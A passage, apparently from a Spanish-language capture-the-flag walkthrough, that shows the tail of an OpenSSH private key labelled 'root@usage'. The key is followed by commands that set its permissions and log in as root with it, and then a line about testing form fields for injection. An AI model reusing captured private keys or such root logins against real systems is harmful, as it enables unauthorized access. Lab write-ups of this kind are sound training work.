b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
chmod 600 id_rsa
ssh -i id_rsa root@localhost

Verificamos si alguno de los campos del formulario es vulnerable a algún tipo de inyección.

🎮
🟩